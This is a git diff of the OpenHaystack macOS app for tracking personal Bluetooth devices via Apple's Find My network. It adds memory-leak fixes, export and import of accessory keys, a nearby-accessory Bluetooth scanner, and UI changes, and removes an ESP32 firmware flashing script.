         }
       },
       {
@@ -24,8 +24,8 @@
         "repositoryURL": "https://github.com/apple/swift-nio-ssl",
         "state": {
           "branch": null,
-          "revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
-          "version": "2.10.4"
+          "revision": "5e68c1ded15619bb281b273fa8c2d8fd7f7b2b7d",
+          "version": "2.16.1"
         }
       }
     ]

OpenHaystack/OpenHaystack.xcodeproj/xcshareddata/xcschemes/OpenHaystack.xcscheme

@@ -38,6 +38,15 @@
                ReferencedContainer = "container:OpenHaystack.xcodeproj">
             </BuildableReference>
             <SkippedTests>
+               <Test
+                  Identifier = "MicrocontrollerTests/testESP32Deploy()">
+               </Test>
+               <Test
+                  Identifier = "MicrocontrollerTests/testFindESP32Port()">
+               </Test>
+               <Test
+                  Identifier = "MicrocontrollerTests/testMicrobitDeploy()">
+               </Test>
                <Test
                   Identifier = "OpenHaystackTests/testPluginInstallation()">
                </Test>

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/Button.colorset/Contents.json

@@ -0,0 +1,34 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.866"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "0.758",
+          "white" : "0.310"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ButtonPressed.colorset/Contents.json

@@ -0,0 +1,34 @@
+{
+  "colors" : [
+    {
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "1.000",
+          "white" : "0.657"
+        }
+      },
+      "idiom" : "universal"
+    },
+    {
+      "appearances" : [
+        {
+          "appearance" : "luminosity",
+          "value" : "dark"
+        }
+      ],
+      "color" : {
+        "color-space" : "gray-gamma-22",
+        "components" : {
+          "alpha" : "0.758",
+          "white" : "0.237"
+        }
+      },
+      "idiom" : "universal"
+    }
+  ],
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}

OpenHaystack/OpenHaystack/BoringSSL/BoringSSL.m

@@ -52,7 +52,11 @@
         BIO_free(bio);
     }
 
-    NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
+    // NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
+    //Free
+    EC_KEY_free(key);
+    EC_GROUP_free(curve);
+    EC_POINT_free(publicKey);
 
     return sharedKey;
 }
@@ -68,7 +72,7 @@
     // Public key will be stored in point
     int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
     [self printPoint:point withGroup:group];
-
+    
     // Free the big numbers
     BN_CTX_free(ctx);
 
@@ -90,24 +94,28 @@
     BN_CTX *ctx = BN_CTX_new();
     BN_CTX_start(ctx);
 
+    // Read in the private key data
     BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
-
     int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
+    
     if (res != 1) {
         NSLog(@"Failed");
         return nil;
     }
 
     res = EC_KEY_set_public_key(key, point);
+    EC_POINT_free(point);
+    
     if (res != 1) {
         NSLog(@"Failed");
         return nil;
     }
 
-    privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
-    EC_KEY_set_private_key(key, privateKeyNum);
 
-    // Free the big numbers
+    EC_KEY_set_private_key(key, privateKeyNum);
+    BN_free(privateKeyNum);
+
+    // Free
     BN_CTX_free(ctx);
 
     return key;
@@ -126,6 +134,10 @@
 
     size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
 
+    //Free
+    EC_KEY_free(key);
+    EC_GROUP_free(curve);
+    
     if (size == 0) {
         return nil;
     }
@@ -145,7 +157,10 @@
     NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
 
     size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
+    
+    
 
+    EC_KEY_free(key); 
     if (size == 0) {
         return nil;
     }

OpenHaystack/OpenHaystack/FindMy/FindMyController.swift

@@ -15,11 +15,6 @@ import SwiftUI
 class FindMyController: ObservableObject {
     @Published var error: Error?
     @Published var devices = [FindMyDevice]()
-    var accessories: AccessoryController
-
-    init(accessories: AccessoryController) {
-        self.accessories = accessories
-    }
 
     func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
         do {
@@ -37,7 +32,11 @@ class FindMyController: ObservableObject {
         self.devices = devices
 
         // Decrypt the reports with the imported keys
-        DispatchQueue.global(qos: .background).async {
+        DispatchQueue.global(qos: .background).async { [weak self] in
+            guard let self = self else {
+                completion()
+                return
+            }
 
             var d = self.devices
             // Add the reports to the according device by finding the right key for the report
@@ -62,8 +61,8 @@ class FindMyController: ObservableObject {
             }
 
             // Decrypt the reports
-            self.decryptReports {
-                self.exportDevices()
+            self.decryptReports { [weak self] in
+                self?.exportDevices()
                 DispatchQueue.main.async {
                     completion()
                 }
@@ -102,11 +101,6 @@ class FindMyController: ObservableObject {
 
         self.fetchReports(with: token) { error in
 
-            let reports = self.devices.compactMap({ $0.reports }).flatMap({ $0 })
-            if reports.isEmpty == false {
-                self.accessories.updateWithDecryptedReports(devices: self.devices)
-            }
-
             if let error = error {
                 completion(.failure(error))
                 os_log("Error: %@", String(describing: error))
@@ -118,7 +112,11 @@ class FindMyController: ObservableObject {
 
     func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
 
-        DispatchQueue.global(qos: .background).async {
+        DispatchQueue.global(qos: .background).async { [weak self] in
+            guard let self = self else {
+                completion(FindMyErrors.objectReleased)
+                return
+            }
             let fetchReportGroup = DispatchGroup()
 
             let fetcher = ReportsFetcher()
@@ -176,7 +174,11 @@ class FindMyController: ObservableObject {
                     }
                 #endif
 
-                DispatchQueue.main.async {
+                DispatchQueue.main.async { [weak self] in
+                    guard let self = self else {
+                        completion(FindMyErrors.objectReleased)
+                        return
+                    }
                     self.devices = devices
 
                     self.decryptReports {
@@ -238,4 +240,5 @@ class FindMyController: ObservableObject {
 
 enum FindMyErrors: Error {
     case decodingPlistFailed(message: String)
+    case objectReleased
 }

OpenHaystack/OpenHaystack/HaystackApp/AccessoryController.swift

@@ -9,30 +9,33 @@
 
 import Combine
 import Foundation
+import OSLog
 import SwiftUI
 
 class AccessoryController: ObservableObject {
     @Published var accessories: [Accessory]
     var selfObserver: AnyCancellable?
     var listElementsObserver = [AnyCancellable]()
+    let findMyController: FindMyController
 
-    init(accessories: [Accessory]) {
+    init(accessories: [Accessory], findMyController: FindMyController) {
         self.accessories = accessories
+        self.findMyController = findMyController
         initAccessoryObserver()
         initObserver()
     }
 
     convenience init() {
-        self.init(accessories: KeychainController.loadAccessoriesFromKeychain())
+        self.init(accessories: KeychainController.loadAccessoriesFromKeychain(), findMyController: FindMyController())
     }
 
     func initAccessoryObserver() {
-        self.selfObserver = self.objectWillChange.sink { _ in
+        self.selfObserver = self.objectWillChange.sink { [weak self] _ in
             // objectWillChange is called before the values are actually changed,
             // so we dispatch the call to save()
-            DispatchQueue.main.async {
-                self.initObserver()
-                try? self.save()
+            DispatchQueue.main.async { [weak self] in
+                self?.initObserver()
+                try? self?.save()
             }
         }
     }
@@ -42,7 +45,7 @@ class AccessoryController: ObservableObject {
             $0.cancel()
         })
         self.accessories.forEach({
-            let c = $0.objectWillChange.sink(receiveValue: { self.objectWillChange.send() })
+            let c = $0.objectWillChange.sink(receiveValue: { [weak self] in self?.objectWillChange.send() })
             // Important: You have to keep the returned value allocated,
             // otherwise the sink subscription gets cancelled
             self.listElementsObserver.append(c)
@@ -66,6 +69,7 @@ class AccessoryController: ObservableObject {
 
                 accessory.lastLocation = report?.location
                 accessory.locationTimestamp = report?.timestamp
+                accessory.locations = device.decryptedReports
             }
         }
     }
@@ -88,6 +92,111 @@ class AccessoryController: ObservableObject {
         }
         return accessory
     }
+
+    /// Export the accessories property list so it can be imported at another location.
+    func export(accessories: [Accessory]) throws -> URL {
+        let propertyList = try PropertyListEncoder().encode(accessories)
+
+        let savePanel = NSSavePanel()
+        savePanel.allowedFileTypes = ["plist"]
+        savePanel.canCreateDirectories = true
+        savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
+        savePanel.message = "This export contains all private keys! Keep the file save to protect your location data"
+        savePanel.nameFieldLabel = "Filename"
+        savePanel.nameFieldStringValue = "openhaystack_accessories.plist"
+        savePanel.prompt = "Export"
+        savePanel.title = "Export accessories & keys"
+
+        let result = savePanel.runModal()
+
+        if result == .OK,
+            let url = savePanel.url
+        {
+            // Store the accessory file
+            try propertyList.write(to: url)
+
+            return url
+        }
+        throw ImportError.cancelled
+    }
+
+    /// Let the user select a file to import the accessories exported by another OpenHaystack instance.
+    func importAccessories() throws {
+        let openPanel = NSOpenPanel()
+        openPanel.allowedFileTypes = ["plist"]
+        openPanel.canCreateDirectories = true
+        openPanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
+        openPanel.message = "Import an accessories file that includes the private keys"
+        openPanel.prompt = "Import"
+        openPanel.title = "Import accessories & keys"
+
+        let result = openPanel.runModal()
+        if result == .OK,
+            let url = openPanel.url
+        {
+            let propertyList = try Data(contentsOf: url)
+            var importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: propertyList)
+
+            var updatedAccessories = self.accessories
+            // Filter out accessories with the same id (no duplicates)
+            importedAccessories = importedAccessories.filter({ acc in !self.accessories.contains(where: { acc.id == $0.id }) })
+            updatedAccessories.append(contentsOf: importedAccessories)
+            updatedAccessories.sort(by: { $0.name < $1.name })
+
+            self.accessories = updatedAccessories
+
+            //Update reports automatically. Do not report errors from here
+            self.downloadLocationReports { result in }
+        }
+    }
+
+    enum ImportError: Error {
+        case cancelled
+    }
+
+    //MARK: Location reports
+
+    /// Download the location reports from.
+    ///
+    /// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
+    func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
+        AnisetteDataManager.shared.requestAnisetteData { [weak self] result in
+            guard let self = self else {
+                completion(.failure(.noReportsFound))
+                return
+            }
+            switch result {
+            case .failure(_):
+                completion(.failure(.activatePlugin))
+            case .success(let accountData):
+
+                guard let token = accountData.searchPartyToken,
+                    token.isEmpty == false
+                else {
+                    completion(.failure(.searchPartyToken))
+                    return
+                }
+
+                self.findMyController.fetchReports(for: self.accessories, with: token) { [weak self] result in
+                    switch result {
+                    case .failure(let error):
+                        os_log(.error, "Downloading reports failed %@", error.localizedDescription)
+                        completion(.failure(.downloadingReportsFailed))
+                    case .success(let devices):
+                        let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
+                        if reports.isEmpty {
+                            completion(.failure(.noReportsFound))
+                        } else {
+                            self?.updateWithDecryptedReports(devices: devices)
+                            completion(.success(()))
+                        }
+                    }
+                }
+
+            }
+        }
+    }
+
 }
 
 class AccessoryControllerPreview: AccessoryController {

OpenHaystack/OpenHaystack/HaystackApp/AccessoryNearbyMonitor.swift

@@ -0,0 +1,79 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import Foundation
+
+class AccessoryNearbyMonitor: BluetoothAccessoryDelegate {
+
+    var accessoryController: AccessoryController
+    var scanner: BluetoothAccessoryScanner
+
+    var cleanup: Timer?
+
+    init(accessoryController: AccessoryController) {
+        self.accessoryController = accessoryController
+        self.scanner = BluetoothAccessoryScanner()
+        self.initScanner()
+        self.initTimer()
+    }
+
+    func initScanner() {
+        self.scanner.delegate = self
+    }
+
+    func initTimer() {
+        self.cleanup = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
+            self?.removeNearbyAccessories()
+        }
+    }
+
+    func received(_ advertisement: Advertisement) {
+        guard let accessory = getAccessoryForAdvertisement(advertisement) else {
+            return
+        }
+        updateNearbyAccessory(accessory)
+    }
+
+    func updateNearbyAccessory(_ accessory: Accessory) {
+        if !accessory.isNearby {
+            // Only set on state change
+            accessory.isNearby = true
+        }
+        accessory.lastAdvertisement = Date()
+    }
+
+    func removeNearbyAccessories(now: Date = Date(), timeout: TimeInterval = 10.0) {
+        let nearbyAccessories = self.accessoryController.accessories.filter({ $0.isNearby })
+        for accessory in nearbyAccessories {
+            guard let lastAdvertisement = accessory.lastAdvertisement else {
+                continue
+            }
+            if lastAdvertisement + timeout < now {
+                accessory.isNearby = false
+            }
+        }
+    }
+
+    func getAccessoryForAdvertisement(_ advertisement: Advertisement) -> Accessory? {
+        let accessory =
+            self.accessoryController.accessories.first {
+                isAdvertisement(advertisement, from: $0)
+            } ?? nil
+        return accessory
+    }
+
+    func isAdvertisement(_ advertisement: Advertisement, from: Accessory) -> Bool {
+        do {
+            let accessoryPublicKey = try from.getAdvertisementKey().advanced(by: 6)
+            return accessoryPublicKey == advertisement.publicKeyPayload
+        } catch {
+            return false
+        }
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Bluetooth/Advertisement.swift

@@ -0,0 +1,55 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import CoreBluetooth
+import Foundation
+
+struct Advertisement {
+
+    let publicKeyPayload: Data
+
+    init?(fromAdvertisementData: [String: Any]) {
+        guard let manufacturerData = fromAdvertisementData[CBAdvertisementDataManufacturerDataKey] as? Data else {
+            return nil
+        }
+        self.init(fromManufacturerData: manufacturerData)
+    }
+
+    init?(fromManufacturerData: Data) {
+        guard let publicKey = Advertisement.extractPublicKeyFromPayload(fromManufacturerData) else {
+            return nil
+        }
+        self.publicKeyPayload = publicKey
+    }
+
+    static let publicKeyPayloadLength = 22
+
+    static func extractPublicKeyFromPayload(_ payload: Data) -> Data? {
+        guard payload.count == 29 else {
+            return nil
+        }
+        // Apple company ID
+        guard payload.subdata(in: 0..<2) == Data([0x4c, 0x00]) else {
+            return nil
+        }
+        // Offline finding sub type
+        guard payload.subdata(in: 2..<3) == Data([0x12]) else {
+            return nil
+        }
+        // Offline finding sub type length
+        guard payload.subdata(in: 3..<4) == Data([0x19]) else {
+            return nil
+        }
+        let publicKey = payload.subdata(in: 5..<5 + publicKeyPayloadLength)
+        guard publicKey.count == publicKeyPayloadLength else {
+            return nil
+        }
+        return publicKey
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Bluetooth/BluetoothAccessoryScanner.swift

@@ -0,0 +1,47 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import CoreBluetooth
+import Foundation
+
+protocol BluetoothAccessoryDelegate {
+    func received(_ advertisement: Advertisement)
+}
+
+public class BluetoothAccessoryScanner: NSObject, CBCentralManagerDelegate {
+
+    var scanner: CBCentralManager!
+    var delegate: BluetoothAccessoryDelegate?
+
+    override init() {
+        super.init()
+        scanner = CBCentralManager(delegate: self, queue: DispatchQueue.main)
+    }
+
+    public func centralManagerDidUpdateState(_ central: CBCentralManager) {
+        startScanning(central)
+    }
+
+    private func startScanning(_ central: CBCentralManager) {
+        guard central.state == .poweredOn else {
+            return
+        }
+        let scanOptions = [
+            CBCentralManagerScanOptionAllowDuplicatesKey: false
+        ]
+        scanner.scanForPeripherals(withServices: nil, options: scanOptions)
+    }
+
+    public func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String: Any], rssi RSSI: NSNumber) {
+        guard let adv = Advertisement(fromAdvertisementData: advertisementData) else {
+            return
+        }
+        self.delegate?.received(adv)
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/ESP32Controller.swift

@@ -14,7 +14,7 @@ struct ESP32Controller {
         Bundle.main.resourceURL?.appendingPathComponent("ESP32")
     }
 
-    /// Tries to find the port / path at which the ESP32 module is attached
+    /// Tries to find the port / path at which the ESP32 module is attached.
     static func findPort() -> [URL] {
         // List all ports
         let ports = try? FileManager.default.contentsOfDirectory(atPath: "/dev").filter({ $0.contains("cu.") })
@@ -24,7 +24,7 @@ struct ESP32Controller {
         return portURLs ?? []
     }
 
-    /// Runs the script to flash the firmware on an ESP32
+    /// Runs the script to flash the firmware on an ESP32.
     static func flashToESP32(accessory: Accessory, port: URL, completion: @escaping (Result<Void, Error>) -> Void) throws {
 
         // Copy firmware to a temporary directory

OpenHaystack/OpenHaystack/HaystackApp/FileManager.swift

@@ -30,8 +30,14 @@ extension FileManager {
             if isDir.boolValue == true {
                 try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
             } else {
-                // Copy file
-                try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
+                do {
+                    // Copy file
+                    try self.createFile(atPath: to.appendingPathComponent(file).path, contents: Data(contentsOf: fileURL), attributes: nil)
+                } catch {
+                    if fileURL.lastPathComponent != "CodeResources" {
+                        throw error
+                    }
+                }
             }
         }
     }

OpenHaystack/OpenHaystack/HaystackApp/Firmwares/ESP32/flash_esp32.sh

@@ -1,139 +0,0 @@
-#!/bin/bash
-
-# Directory of this script
-SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
-
-# Defaults: Directory for the virtual environment
-VENV_DIR="$SCRIPT_DIR/venv"
-
-# Defaults: Serial port to access the ESP32
-PORT=/dev/ttyS0
-
-# Defaults: Fast baud rate
-BAUDRATE=921600
-
-# Parameter parsing
-while [[ $# -gt 0 ]]; do
-    KEY="$1"
-    case "$KEY" in
-        -p|--port)
-            PORT="$2"
-            shift
-            shift
-        ;;
-        -s|--slow)
-            BAUDRATE=115200
-            shift
-        ;;
-        -v|--venvdir)
-            VENV_DIR="$2"
-            shift
-            shift
-        ;;
-        -h|--help)
-            echo "flash_esp32.sh - Flash the OpenHaystack firmware onto an ESP32 module"
-            echo ""
-            echo "  This script will create a virtual environment for the required tools."
-            echo ""
-            echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
-            echo ""
-            echo "Required Arguments:"
-            echo "  PUBKEY"
-            echo "      The base64-encoded public key"
-            echo ""
-            echo "Optional Arguments:"
-            echo "  -h, --help"
-            echo "      Show this message and exit."
-            echo "  -p, --port <port>"
-            echo "      Specify the serial interface to which the device is connected."
-            echo "  -s, --slow"
-            echo "      Use 115200 instead of 921600 baud when flashing."
-            echo "      Might be required for long/bad USB cables or slow USB-to-Serial converters."
-            echo "  -v, --venvdir <dir>"
-            echo "      Select Python virtual environment with esptool installed."
-            echo "      If the directory does not exist, it will be created."
-            exit 1
-        ;;
-        *)
-            if [[ -z "$PUBKEY" ]]; then
-                PUBKEY="$1"
-                shift
-            else
-                echo "Got unexpected parameter $1"
-                exit 1
-            fi
-        ;;
-    esac
-done
-
-# Sanity check: Pubkey exists
-if [[ -z "$PUBKEY" ]]; then
-    echo "Missing public key, call with --help for usage"
-    exit 1
-fi
-
-# Sanity check: Port
-if [[ ! -e "$PORT" ]]; then
-    echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
-    exit 1
-fi
-
-# Setup the virtual environment
-if [[ ! -d "$VENV_DIR" ]]; then
-    # Create the virtual environment
-    PYTHON="$(which python3)"
-    if [[ -z "$PYTHON" ]]; then
-        PYTHON="$(which python)"
-    fi
-    if [[ -z "$PYTHON" ]]; then
-        echo "Could not find a Python installation, please install Python 3."
-        exit 1
-    fi
-    if ! ($PYTHON -V 2>&1 | grep "Python 3" > /dev/null); then
-        echo "Executing \"$PYTHON\" does not run Python 3, please make sure that python3 or python on your PATH points to Python 3"
-        exit 1
-    fi
-    if ! ($PYTHON -c "import venv" &> /dev/null); then
-        echo "Python 3 module \"venv\" was not found."
-        exit 1
-    fi
-    $PYTHON -m venv "$VENV_DIR"
-    if [[ $? != 0 ]]; then
-        echo "Creating the virtual environment in $VENV_DIR failed."
-        exit 1
-    fi
-    source "$VENV_DIR/bin/activate"
-    pip install --upgrade pip
-    pip install esptool
-    if [[ $? != 0 ]]; then
-        echo "Could not install Python 3 module esptool in $VENV_DIR";
-        exit 1
-    fi
-else
-    source "$VENV_DIR/bin/activate"
-fi
-
-# Prepare the key
-KEYFILE="$SCRIPT_DIR/tmp.key"
-if [[ -f "$KEYFILE" ]]; then
-    echo "$KEYFILE already exists, stopping here not to override files..."
-    exit 1
-fi
-echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
-if [[ $? != 0 ]]; then
-    echo "Could not parse the public key. Please provide valid base64 input"
-    exit 1
-fi
-
-# Call esptool.py. Errors from here on are critical
-set -e
-
-# Clear NVM
-esptool.py --after no_reset \
-    erase_region 0x9000 0x5000
-esptool.py --before no_reset --baud $BAUDRATE \
-    write_flash 0x1000  "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
-                0x8000  "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
-                0xe000  "$KEYFILE" \
-                0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
-rm "$KEYFILE"

OpenHaystack/OpenHaystack/HaystackApp/Mail Plugin/MailPluginManager.swift

@@ -20,8 +20,36 @@ struct MailPluginManager {
 
     let pluginURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent("Library/Mail/Bundles").appendingPathComponent(mailBundleName + ".mailbundle")
 
+    let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
+
     var isMailPluginInstalled: Bool {
-        return FileManager.default.fileExists(atPath: pluginURL.path)
+        //Check if the plug-in is compatible by comparing the IDs
+        guard FileManager.default.fileExists(atPath: pluginURL.path) else {
+            return false
+        }
+
+        let infoPlistURL = pluginURL.appendingPathComponent("Contents/Info.plist")
+        let localInfoPlistURL = localPluginURL.appendingPathComponent("Contents/Info.plist")
+
+        guard let infoPlistData = try? Data(contentsOf: infoPlistURL),
+            let infoPlistDict = try? PropertyListSerialization.propertyList(from: infoPlistData, options: [], format: nil) as? [String: AnyHashable],
+            let localInfoPlistData = try? Data(contentsOf: localInfoPlistURL),
+            let localInfoPlistDict = try? PropertyListSerialization.propertyList(from: localInfoPlistData, options: [], format: nil) as? [String: AnyHashable]
+        else { return false }
+
+        //Compare the supported plug-ins
+        let uuidEntries = localInfoPlistDict.keys.filter({ $0.contains("PluginCompatibilityUUIDs") })
+        for uuidEntry in uuidEntries {
+            guard let localEntry = localInfoPlistDict[uuidEntry] as? [String],
+                let installedEntry = infoPlistDict[uuidEntry] as? [String]
+            else { return false }
+
+            if localEntry != installedEntry {
+                return false
+            }
+        }
+
+        return true
     }
 
     /// Shows a NSSavePanel to install the mail plugin at the required place.
@@ -58,9 +86,8 @@ struct MailPluginManager {
             throw PluginError.permissionNotGranted
         }
 
-        let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle")!
-
         do {
+            // Create the Bundles folder if necessary
             try FileManager.default.createDirectory(at: pluginsFolderURL, withIntermediateDirectories: true, attributes: nil)
         } catch {
             print(error.localizedDescription)

OpenHaystack/OpenHaystack/HaystackApp/MicrobitController.swift

@@ -74,10 +74,8 @@ struct MicrobitController {
         return patchedFirmware
     }
 
-    static func deploy(accessory: Accessory) throws {
-        let microbits = try MicrobitController.findMicrobits()
-        guard let microBitURL = microbits.first,
-            let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
+    static func patchFirmware(for accessory: Accessory) throws -> Data {
+        guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
         else {
             throw FirmwareFlashError.notFound
         }
@@ -87,6 +85,18 @@ struct MicrobitController {
         let publicKey = try accessory.getAdvertisementKey()
         let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
 
+        return patchedFirmware
+    }
+
+    static func deploy(accessory: Accessory) throws {
+        let microbits = try MicrobitController.findMicrobits()
+        guard let microBitURL = microbits.first
+        else {
+            throw FirmwareFlashError.notFound
+        }
+
+        let patchedFirmware = try self.patchFirmware(for: accessory)
+
         try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
     }
 

OpenHaystack/OpenHaystack/HaystackApp/Model/Accessory.swift

@@ -31,11 +31,30 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
     @Published var name: String
     let id: Int
     let privateKey: Data
+    @Published var locations: [FindMyLocationReport]?
     @Published var color: Color
     @Published var icon: String
     @Published var lastLocation: CLLocation?
     @Published var locationTimestamp: Date?
-    @Published var isDeployed: Bool
+    @Published var isDeployed: Bool {
+        didSet(wasDeployed) {
+            // Reset active status if deployed
+            if !wasDeployed && isDeployed {
+                self.isActive = false
+            }
+        }
+    }
+    /// Whether the accessory is correctly advertising.
+    @Published var isActive: Bool = false
+    /// Whether this accessory is currently nearby.
+    @Published var isNearby: Bool = false {
+        didSet {
+            if isNearby {
+                self.isActive = true
+            }
+        }
+    }
+    var lastAdvertisement: Date?
 
     init(name: String = "New accessory", color: Color = randomColor(), iconName: String = randomIcon()) throws {
         self.name = name
@@ -56,6 +75,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
         self.privateKey = try container.decode(Data.self, forKey: .privateKey)
         self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
         self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
+        self.isActive = (try? container.decode(Bool.self, forKey: .isActive)) ?? false
 
         if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
             let spaceName = try? container.decode(String.self, forKey: .colorSpaceName),
@@ -75,6 +95,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
         try container.encode(self.privateKey, forKey: .privateKey)
         try container.encode(self.icon, forKey: .icon)
         try container.encode(self.isDeployed, forKey: .isDeployed)
+        try container.encode(self.isActive, forKey: .isActive)
 
         if let colorComponents = self.color.cgColor?.components,
             let colorSpace = self.color.cgColor?.colorSpace?.name
@@ -154,6 +175,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
         case colorSpaceName
         case icon
         case isDeployed
+        case isActive
     }
 
     static func == (lhs: Accessory, rhs: Accessory) -> Bool {

OpenHaystack/OpenHaystack/HaystackApp/Model/PreviewData.swift

@@ -19,10 +19,10 @@ struct PreviewData {
     static let latitude: Double = 49.878046
     static let longitude: Double = 8.656993
 
-    static func randomLocation() -> CLLocation {
+    static func randomLocation(lat: Double = latitude, lng: Double = longitude, distance: Double = 0.005) -> CLLocation {
         return CLLocation(
-            latitude: latitude + Double.random(in: 0..<0.005) * (Bool.random() ? -1 : 1),
-            longitude: longitude + Double.random(in: 0..<0.005) * (Bool.random() ? -1 : 1)
+            latitude: lat + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1),
+            longitude: lng + Double.random(in: 0..<distance) * (Bool.random() ? -1 : 1)
         )
     }
 
@@ -35,6 +35,18 @@ struct PreviewData {
         accessory.lastLocation = randomLocation()
         accessory.locationTimestamp = randomTimestamp()
         accessory.isDeployed = true
+        accessory.isActive = true
+        accessory.isNearby = Bool.random()
+        //Generate recent locations
+        let startDate = Date().addingTimeInterval(-60 * 60 * 24)
+        var date = startDate
+        var locations: [FindMyLocationReport] = []
+        while date < Date() {
+            let location = randomLocation(lat: accessory.lastLocation!.coordinate.latitude, lng: accessory.lastLocation!.coordinate.longitude, distance: 0.0005)
+            locations.append(FindMyLocationReport(lat: location.coordinate.latitude, lng: location.coordinate.longitude, acc: 10, dP: date, t: date, c: 0))
+            date += 30 * 60
+        }
+        accessory.locations = locations
         return accessory
     }
 

OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryListEntry.swift

@@ -60,15 +60,23 @@ struct AccessoryListEntry: View {
                     label: { Text("Deploy") }
                 )
             }
+            Circle()
+                .fill(accessory.isNearby ? Color.green : accessory.isActive ? Color.orange : Color.red)
+                .frame(width: 8, height: 8)
         }
+        .listRowBackground(Color.clear)
         .padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
         .contextMenu {
             Button("Delete", action: { self.delete(accessory) })
             Divider()
             Button("Rename", action: { self.editingName = true })
             Divider()
-            Button("Copy advertisment key (Base64)", action: { self.copyPublicKey(of: accessory) })
             Button("Copy key ID (Base64)", action: { self.copyPublicKeyHash(of: accessory) })
+            Menu("Copy advertisement key") {
+                Button("Base64", action: { self.copyAdvertisementKeyB64(of: accessory) })
+                Button("Byte array", action: { self.copyAdvertisementKey(escapedString: false) })
+                Button("Escaped string", action: { self.copyAdvertisementKey(escapedString: true) })
+            }
             Divider()
             Button("Mark as \(accessory.isDeployed ? "deployable" : "deployed")", action: { accessory.isDeployed.toggle() })
         }
@@ -86,6 +94,18 @@ struct AccessoryListEntry: View {
         }
     }
 
+    func copyAdvertisementKeyB64(of accessory: Accessory) {
+        do {
+            let publicKey = try accessory.getAdvertisementKey()
+            let pasteboard = NSPasteboard.general
+            pasteboard.prepareForNewContents(with: .currentHostOnly)
+            pasteboard.setString(publicKey.base64EncodedString(), forType: .string)
